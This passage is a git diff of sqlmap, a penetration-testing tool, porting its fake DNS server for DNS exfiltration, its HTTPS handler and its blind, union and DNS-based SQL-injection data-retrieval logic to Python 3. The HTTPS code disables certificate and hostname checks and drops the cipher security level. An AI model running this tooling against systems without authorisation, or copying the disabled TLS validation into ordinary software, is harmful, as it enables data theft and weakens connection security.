https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." + True + >>> DNSQuery(b'\\x00')._query == b"" + True """ def __init__(self, raw): self._raw = raw - self._query = "" + self._query = b"" - type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits + try: + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits - if type_ == 0: # Standard query - i = 12 - j = ord(raw[i]) + if type_ == 0: # Standard query + i = 12 + j = ord(raw[i:i + 1]) - while j != 0: - self._query += raw[i+1:i+j+1] + '.' - i = i + j + 1 - j = ord(raw[i]) + while j != 0: + self._query += raw[i + 1:i + j + 1] + b'.' + i = i + j + 1 + j = ord(raw[i:i + 1]) + except TypeError: + pass def response(self, resolution): """ Crafts raw DNS resolution response packet """ - retVal = "" + retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += "\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query - retVal += "\xc0\x0c" # Pointer to domain name - retVal += "\x00\x01" # Type A - retVal += "\x00\x01" # Class IN - retVal += "\x00\x00\x00\x20" # TTL (32 seconds) - retVal += "\x00\x04" # Data length - retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal -class DNSServer: +class DNSServer(object): + """ + Used for making fake DNS resolution responses based on received + raw request + + Reference(s): + https://code.activestate.com/recipes/491264-mini-fake-dns-server/ + https://web.archive.org/web/20150418152405/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + """ + def __init__(self): + self._check_localhost() self._requests = [] self._lock = threading.Lock() - self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + try: + self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) + except AttributeError: + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False + self._initialized = False + + def _check_localhost(self): + response = b"" + s = None + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(1.0) + s.connect(("", 53)) + s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com + response = s.recv(512) + except: + pass + finally: + if s: + s.close() + + if response and b"google" in response: + raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ @@ -74,11 +114,17 @@ def pop(self, prefix=None, suffix=None): retVal = None + if prefix and hasattr(prefix, "encode"): + prefix = prefix.encode() + + if suffix and hasattr(suffix, "encode"): + suffix = suffix.encode() + with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I): - retVal = _ + if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): self._requests.remove(_) + retVal = _.decode() break return retVal @@ -91,6 +137,7 @@ def run(self): def _(): try: self._running = True + self._initialized = True while True: data, addr = self._socket.recvfrom(1024) @@ -116,6 +163,9 @@ def _(): server = DNSServer() server.run() + while not server._initialized: + time.sleep(0.1) + while server._running: while True: _ = server.pop() @@ -123,13 +173,13 @@ def _(): if _ is None: break else: - print "[i] %s" % _ + print("[i] %s" % _) time.sleep(1) - except socket.error, ex: + except socket.error as ex: if 'Permission' in str(ex): - print "[x] Please run with sudo/Administrator privileges" + print("[x] Please run with sudo/Administrator privileges") else: raise except KeyboardInterrupt: @@ -137,4 +187,3 @@ def _(): finally: if server: server._running = False - diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 02a90463a68..94f50fb1a16 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,16 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib +import re import socket -import urllib2 +from lib.core.common import filterNone +from lib.core.common import getSafeExString +from lib.core.compat import LooseVersion +from lib.core.compat import xrange +from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException +from lib.core.settings import PYVERSION +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib ssl = None try: @@ -19,17 +27,29 @@ except ImportError: pass -_protocols = [ssl.PROTOCOL_SSLv23, ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLSv1] +_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) +_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) +_contexts = {} -class HTTPSConnection(httplib.HTTPSConnection): +class HTTPSConnection(_http_client.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 + + NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly """ def __init__(self, *args, **kwargs): - httplib.HTTPSConnection.__init__(self, *args, **kwargs) + # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158 + if hasattr(ssl, "_create_default_https_context"): + if None not in _contexts: + _contexts[None] = ssl._create_default_https_context() + kwargs["context"] = _contexts[None] + + self.retrying = False + + _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): @@ -41,24 +61,82 @@ def create_sock(): success = False - for protocol in _protocols: - try: - sock = create_sock() - _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) - if _: - success = True - self.sock = _ - _protocols.remove(protocol) - _protocols.insert(0, protocol) - break - else: - sock.close() - except ssl.SSLError, errMsg: - logger.debug("SSL connection error occured ('%s')" % errMsg) + # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext + # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni + if hasattr(ssl, "SSLContext"): + for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): + sock = None + try: + sock = create_sock() + if protocol not in _contexts: + _contexts[protocol] = ssl.SSLContext(protocol) + + # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT + _contexts[protocol].check_hostname = False + _contexts[protocol].verify_mode = ssl.CERT_NONE + + if getattr(self, "cert_file", None) and getattr(self, "key_file", None): + _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) + try: + # Reference(s): https://askubuntu.com/a/1263098 + # https://askubuntu.com/a/1250807 + # https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= + _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") + except (ssl.SSLError, AttributeError): + pass + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) + if result: + success = True + self.sock = result + _protocols.remove(protocol) + _protocols.insert(0, protocol) + break + else: + sock.close() + except (ssl.SSLError, socket.error, _http_client.BadStatusLine, AttributeError) as ex: + self._tunnel_host = None + if sock: + sock.close() + logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) + + elif hasattr(ssl, "wrap_socket"): + for protocol in _protocols: + try: + sock = create_sock() + _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) + if _: + success = True + self.sock = _ + _protocols.remove(protocol) + _protocols.insert(0, protocol) + break + else: + sock.close() + except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: + self._tunnel_host = None + logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if not success: - raise sqlmapConnectionException, "can't establish SSL connection" + errMsg = "can't establish SSL connection" + # Reference: https://docs.python.org/2/library/ssl.html + if LooseVersion(PYVERSION) < LooseVersion("2.7.9"): + errMsg += " (please retry with Python >= 2.7.9)" + + if kb.sslSuccess and not self.retrying: + self.retrying = True + + for _ in xrange(conf.retries): + try: + self.connect() + except SqlmapConnectionException: + pass + else: + return + + raise SqlmapConnectionException(errMsg) + else: + kb.sslSuccess = True -class HTTPSHandler(urllib2.HTTPSHandler): +class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): - return self.do_open(HTTPSConnection if ssl else httplib.HTTPSConnection, req) + return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) diff --git a/lib/request/inject.py b/lib/request/inject.py index 9660f920978..2bb641acad8 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,50 +1,63 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray +from lib.core.common import applyFunctionRecursively from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique +from lib.core.common import isDigit from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue -from lib.core.common import randomInt +from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.common import safeStringFormat +from lib.core.common import setTechnique from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.decorators import lockedmethod +from lib.core.decorators import stackedmethod +from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNotVulnerableException -from lib.core.exception import sqlmapUserQuitException -from lib.core.settings import FROM_DUMMY_TABLE -from lib.core.settings import MIN_TIME_RESPONSES +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX +from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData -from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection @@ -53,46 +66,73 @@ from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse +from thirdparty import six + +def _goDns(payload, expression): + value = None + + if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: + if kb.dnsTest is None: + dnsTest(payload) + + if kb.dnsTest: + value = dnsUse(payload, expression) -def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): + return value + +def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 - value = __goDns(payload, expression) + value = _goDns(payload, expression) - if value is None: - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + if payload is None: + return None - if not (timeBasedCompare and kb.dnsTest): - if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: - _, length, _ = queryOutputLength(expression, payload) - else: - length = None + if value is not None: + return value - kb.inferenceMode = True - count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) - kb.inferenceMode = False + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) - if not kb.bruteMode: - debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) - logger.debug(debugMsg) + if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " - return value + kb.forceThreads = readInput(msg, default='N', boolean=True) -def __goDns(payload, expression): - value = None + if not (timeBasedCompare and kb.dnsTest): + if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): - if conf.dName and kb.dnsTest is not False: - if kb.dnsTest is None: - dnsTest(payload) + if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): + alias = randomStr(lowercase=True, seed=hash(expression)) + expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example + expression += " AS %s" % alias + else: + expression = "SELECT %s FROM (%s)" % (field, expression) - if kb.dnsTest: - value = dnsUse(payload, expression) + if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,): + nulledCastedField = agent.nullAndCastField(field) + injExpression = expression.replace(field, nulledCastedField, 1) + else: + injExpression = expression + length = queryOutputLength(injExpression, payload) + else: + length = None + + kb.inferenceMode = True + count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) + kb.inferenceMode = False + + if not kb.bruteMode: + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) + logger.debug(debugMsg) return value -def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): +def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None @@ -104,14 +144,14 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl if isinstance(num, int): origExpr = expression - expression = agent.limitQuery(num, expression, field) + expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) - output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump) + output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) if isinstance(num, int): expression = origExpr @@ -120,32 +160,29 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl return outputs -def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): +def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ - initTechnique(kb.technique) + initTechnique(getTechnique()) - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() - test = None - untilLimitChar = None - untilOrderChar = None if not unpack: - return __goInference(payload, expression, charsetType, firstChar, lastChar, dump) + return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) + rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] @@ -158,87 +195,35 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, u # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case - # forge the SQL limiting the query output one entry per time - # NOTE: I assume that only queries that get data from a table + # forge the SQL limiting the query output one entry at a time + # NOTE: we assume that only queries that get data from a table # can return multiple entries - if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ - not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ - expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): - - limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) - topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) - - if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query - limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query - - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) - - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: - limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query - limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query - - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) - - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - elif topLimit: - startLimit = 0 - stopLimit = int(topLimit.group(1)) - limitCond = int(stopLimit) > 1 - - elif Backend.isDbms(DBMS.ORACLE): - limitCond = False - else: - limitCond = True + if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"): + expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) - # I assume that only queries NOT containing a "LIMIT #, 1" - # (or similar depending on the back-end DBMS) can return - # multiple entries if limitCond: - if limitRegExp: - stopLimit = int(stopLimit) - - # From now on we need only the expression until the " LIMIT " - # (or similar, depending on the back-end DBMS) word - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - stopLimit += startLimit - untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) - expression = expression[:untilLimitChar] + test = True - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - stopLimit += startLimit - - if not stopLimit or stopLimit <= 1: + if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False - else: - test = True if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) - if re.search(" ORDER BY ", expression, re.I): - untilOrderChar = countedExpression.index(" ORDER BY ") - countedExpression = countedExpression[:untilOrderChar] + if " ORDER BY " in countedExpression.upper(): + _ = countedExpression.upper().rindex(" ORDER BY ") + countedExpression = countedExpression[:_] if not stopLimit: - count = __goInference(payload, countedExpression, CHARSET_TYPE.DIGITS, firstChar, lastChar) + count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) - if batch: + if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " @@ -246,26 +231,26 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, u message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" - test = readInput(message, default="a") + choice = readInput(message, default='A').upper() - if not test or test[0] in ("a", "A"): + if choice == 'A': stopLimit = count - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + elif choice == 'Q': + raise SqlmapUserQuitException - elif test.isdigit() and int(test) > 0 and int(test) <= count: - stopLimit = int(test) + elif isDigit(choice) and int(choice) > 0 and int(choice) <= count: + stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) - elif test[0] in ("#", "s", "S"): + elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") - if not stopLimit.isdigit(): + if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) @@ -280,20 +265,20 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, u return None - elif count and not count.isdigit(): + elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -301,39 +286,54 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, u return None try: - for num in xrange(startLimit, stopLimit): - output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) - outputs.append(output) + try: + for num in xrange(startLimit or 0, stopLimit or 0): + output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) + outputs.append(output) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) except KeyboardInterrupt: - print + print() warnMsg = "user aborted during dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] - outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) + outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) - return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None + return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None -def __goBooleanProxy(expression): +def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ - initTechnique(kb.technique) + initTechnique(getTechnique()) + + if conf.dnsDomain: + query = agent.prefixQuery(getTechniqueData().vector) + query = agent.suffixQuery(query) + payload = agent.payload(newValue=query) + output = _goDns(payload, expression) + + if output is not None: + return output - vector = kb.injection.data[kb.technique].vector - vector = vector.replace("[INFERENCE]", expression) + vector = getTechniqueData().vector + vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) - output = hashDBRetrieve(expression) + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) @@ -343,146 +343,224 @@ def __goBooleanProxy(expression): return output -def __goError(expression, expected=None, dump=False): +def _goUnion(expression, unpack=True, dump=False): """ - Retrieve the output of a SQL query taking advantage of an error-based - SQL injection vulnerability on the affected parameter. - """ - - output = errorUse(expression, expected, dump) - - return output - -def __goInband(expression, expected=None, unpack=True, dump=False): - """ - Retrieve the output of a SQL query taking advantage of an inband SQL + Retrieve the output of a SQL query taking advantage of an union SQL injection vulnerability on the affected parameter. """ output = unionUse(expression, unpack=unpack, dump=dump) - if isinstance(output, basestring): + + if isinstance(output, six.string_types): output = parseUnionPage(output) return output -def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): +@lockedmethod +@stackedmethod +def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection - affected parameter. It can call a function to retrieve the output - through inband SQL injection (if selected) and/or blind SQL injection - (if selected). + affected parameter. """ + if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): + if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): + warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + conf.hexConvert = False + else: + charsetType = CHARSET_TYPE.HEXADECIMAL + kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue + for keyword in GET_VALUE_UPPERCASE_KEYWORDS: + expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) + if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: + pushValue(conf.db) + pushValue(conf.tbl) + if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression - if expression.upper().startswith("SELECT "): - booleanExpression = expression[len("SELECT "):] + if expression.startswith("SELECT "): + booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: - if expected == EXPECTED.BOOL: - value = direct(forgeCaseExpression) - else: - value = direct(expression) + value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) - elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): + elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False - - if query and not 'COUNT(*)' in query: - query = query.replace("DISTINCT ", "") - count = 0 - if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - kb.technique = PAYLOAD.TECHNIQUE.UNION - - if expected == EXPECTED.BOOL: - value = __goInband(forgeCaseExpression, expected, unpack, dump) - else: - value = __goInband(query, expected, unpack, dump) - - count += 1 - found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE + if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): + query = query.replace("DISTINCT ", "") - if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found: - kb.technique = PAYLOAD.TECHNIQUE.ERROR + if not conf.forceDns: + if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): + setTechnique(PAYLOAD.TECHNIQUE.UNION) + kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] + fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + + if expected == EXPECTED.BOOL: + # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + + if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression + + try: + value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + except SqlmapConnectionException: + if not fallback: + raise + + count += 1 + found = (value is not None) or (value is None and expectingNone) or count >= 